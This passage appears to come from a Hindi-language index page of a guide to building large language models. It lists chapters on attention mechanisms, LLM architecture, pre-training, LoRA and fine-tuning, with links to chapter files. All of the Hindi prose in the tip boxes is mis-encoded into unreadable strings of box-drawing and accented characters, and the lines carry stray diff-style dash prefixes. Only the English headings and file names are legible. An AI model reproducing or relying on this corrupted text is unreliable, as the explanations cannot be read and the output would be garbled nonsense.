рд╡рд╛рдХреНрдп рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдореЗрдВ рдПрдХ рд╢рдмреНрдж рдХрд╛ рдЕрд▓рдЧ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ (рдЕрд░реНрде) рд╣реЛрдЧрд╛ред - -{{#ref}} -3.-token-embeddings.md -{{#endref}} - -## 4. Attention Mechanisms - -> [!TIP] -> рдЗрд╕ рдЪреМрдереЗ рдЪрд░рдг рдХрд╛ рд▓рдХреНрд╖реНрдп рдмрд╣реБрдд рд╕рд░рд▓ рд╣реИ: **рдХреБрдЫ рдзреНрдпрд╛рди рддрдВрддреНрд░ рд▓рд╛рдЧреВ рдХрд░реЗрдВред** рдпреЗ рдмрд╣реБрдд рд╕рд╛рд░реЗ **рджреЛрд╣рд░рд╛рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдкрд░рддреЗрдВ** рд╣реЛрдВрдЧреА рдЬреЛ **рд╢рдмреНрджрдХреЛрд╢ рдореЗрдВ рдПрдХ рд╢рдмреНрдж рдХреЗ рдкрдбрд╝реЛрд╕рд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рд╡рд░реНрддрдорд╛рди рд╡рд╛рдХреНрдп рдореЗрдВ рд╕рдВрдмрдВрдз рдХреЛ рдкрдХрдбрд╝реЗрдВрдЧреА рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ LLM рдХреЛ рдкреНрд░рд╢рд┐рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИред**\ -> рдЗрд╕рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рд╕рд╛рд░реА рдкрд░рддреЗрдВ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рддреА рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдмрд╣реБрдд рд╕рд╛рд░реЗ рдкреНрд░рд╢рд┐рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рдпреЛрдЧреНрдп рдкреИрд░рд╛рдореАрдЯрд░ рдЗрд╕ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдкрдХрдбрд╝рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВред - -{{#ref}} -4.-attention-mechanisms.md -{{#endref}} - -## 5. LLM Architecture - -> [!TIP] -> рдЗрд╕ рдкрд╛рдВрдЪрд╡реЗ рдЪрд░рдг рдХрд╛ рд▓рдХреНрд╖реНрдп рдмрд╣реБрдд рд╕рд░рд▓ рд╣реИ: **рдкреВрд░реНрдг LLM рдХреА рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░ рд╡рд┐рдХрд╕рд┐рдд рдХрд░реЗрдВред** рд╕рдм рдХреБрдЫ рдПрдХ рд╕рд╛рде рд░рдЦреЗрдВ, рд╕рднреА рдкрд░рддреЗрдВ рд▓рд╛рдЧреВ рдХрд░реЗрдВ рдФрд░ рдкрд╛рда рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдпрд╛ рдкрд╛рда рдХреЛ IDs рдореЗрдВ рдФрд░ рдЗрд╕рдХреЗ рд╡рд┐рдкрд░реАрдд рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рднреА рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдмрдирд╛рдПрдВред -> -> рдпрд╣ рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░ рджреЛрдиреЛрдВ, рдкреНрд░рд╢рд┐рдХреНрд╖рдг рдФрд░ рднрд╡рд┐рд╖реНрдпрд╡рд╛рдгреА рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдЬрдм рдЗрд╕реЗ рдкреНрд░рд╢рд┐рдХреНрд╖рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛред - -{{#ref}} -5.-llm-architecture.md -{{#endref}} - -## 6. Pre-training & Loading models - -> [!TIP] -> рдЗрд╕ рдЫрдареЗ рдЪрд░рдг рдХрд╛ рд▓рдХреНрд╖реНрдп рдмрд╣реБрдд рд╕рд░рд▓ рд╣реИ: **рдореЙрдбрд▓ рдХреЛ рд╢реВрдиреНрдп рд╕реЗ рдкреНрд░рд╢рд┐рдХреНрд╖рд┐рдд рдХрд░реЗрдВред** рдЗрд╕рдХреЗ рд▓рд┐рдП рдкрд┐рдЫрд▓реЗ LLM рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдЬрд┐рд╕рдореЗрдВ рдбреЗрдЯрд╛ рд╕реЗрдЯ рдкрд░ рдкрд░рд┐рднрд╛рд╖рд┐рдд рд╣рд╛рдирд┐ рдХрд╛рд░реНрдпреЛрдВ рдФрд░ рдСрдкреНрдЯрд┐рдорд╛рдЗрдЬрд╝рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рд▓реВрдк рд╣реЛрдВрдЧреЗ рддрд╛рдХрд┐ рдореЙрдбрд▓ рдХреЗ рд╕рднреА рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рдкреНрд░рд╢рд┐рдХреНрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред - -{{#ref}} -6.-pre-training-and-loading-models.md -{{#endref}} - -## 7.0. LoRA Improvements in fine-tuning - -> [!TIP] -> **LoRA рдХрд╛ рдЙрдкрдпреЛрдЧ рдкрд╣рд▓реЗ рд╕реЗ рдкреНрд░рд╢рд┐рдХреНрд╖рд┐рдд рдореЙрдбрд▓реЛрдВ рдХреЛ рдареАрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдЧрдгрдирд╛ рдХреЛ рдмрд╣реБрдд рдХрдо рдХрд░рддрд╛ рд╣реИред** - -{{#ref}} -7.0.-lora-improvements-in-fine-tuning.md -{{#endref}} - -## 7.1. Fine-Tuning for Classification - -> [!TIP] -> рдЗрд╕ рдЕрдиреБрднрд╛рдЧ рдХрд╛ рд▓рдХреНрд╖реНрдп рдпрд╣ рджрд┐рдЦрд╛рдирд╛ рд╣реИ рдХрд┐ рдкрд╣рд▓реЗ рд╕реЗ рдкреНрд░рд╢рд┐рдХреНрд╖рд┐рдд рдореЙрдбрд▓ рдХреЛ рдХреИрд╕реЗ рдареАрдХ рдХрд┐рдпрд╛ рдЬрд╛рдП рддрд╛рдХрд┐ рдирдП рдкрд╛рда рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рдмрдЬрд╛рдп LLM **рдкреНрд░рддреНрдпреЗрдХ рджрд┐рдП рдЧрдП рд╢реНрд░реЗрдгреА рдореЗрдВ рд╡рд░реНрдЧреАрдХреГрдд рдХрд┐рдП рдЬрд╛рдиреЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛рдПрдБ** рдкреНрд░рджрд╛рди рдХрд░реЗ (рдЬреИрд╕реЗ рдХрд┐ рдХреЛрдИ рдкрд╛рда рд╕реНрдкреИрдо рд╣реИ рдпрд╛ рдирд╣реАрдВ)ред - -{{#ref}} -7.1.-fine-tuning-for-classification.md -{{#endref}} - -## 7.2. Fine-Tuning to follow instructions - -> [!TIP] -> рдЗрд╕ рдЕрдиреБрднрд╛рдЧ рдХрд╛ рд▓рдХреНрд╖реНрдп рдпрд╣ рджрд┐рдЦрд╛рдирд╛ рд╣реИ рдХрд┐ **рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХрд╛ рдкрд╛рд▓рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд╣рд▓реЗ рд╕реЗ рдкреНрд░рд╢рд┐рдХреНрд╖рд┐рдд рдореЙрдбрд▓ рдХреЛ рдХреИрд╕реЗ рдареАрдХ рдХрд┐рдпрд╛ рдЬрд╛рдП** рди рдХрд┐ рдХреЗрд╡рд▓ рдкрд╛рда рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рдЪреИрдЯ рдмреЙрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдпреЛрдВ рдХрд╛ рдЙрддреНрддрд░ рджреЗрдирд╛ред - -{{#ref}} -7.2.-fine-tuning-to-follow-instructions.md -{{#endref}}